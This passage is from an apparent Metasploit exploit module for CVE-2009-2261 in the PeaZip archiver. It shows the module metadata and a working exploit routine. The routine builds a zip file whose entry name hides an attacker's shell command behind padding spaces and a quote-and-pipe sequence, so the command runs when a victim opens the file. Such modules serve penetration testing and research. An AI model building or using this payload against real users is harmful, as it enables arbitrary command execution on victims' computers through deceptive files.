All versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with version 2.6.1 on Windows. In order for the command to be executed, an attacker must convince someone to open a specially crafted zip file with PeaZip, and access the specially file via double-clicking it. By doing so, an attacker can execute arbitrary commands as the victim user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nine:Situations:Group::pyrokinesis', 'jduck' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2009-2261' ], [ 'OSVDB', '54966' ], [ 'URL', 'http://peazip.sourceforge.net/' ], [ 'URL', 'http://www.exploit-db.com/exploits/8881' ] ], 'Platform' => ['unix', 'win', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Jun 05 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']), ], self.class) end def exploit # NOTE: using a command line containing / or \ will result in the command # being easily visible to the victim cmd = datastore['CMD'] fname = "README.TXT" rest = "\"|#{cmd}|.txt" fname << " " * (255 - fname.length - rest.length) fname << rest content = rand_text_alphanumeric(rand(1024)) zip = Rex::Zip::Archive.new zip.add_file(fname, content) # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack) end end |
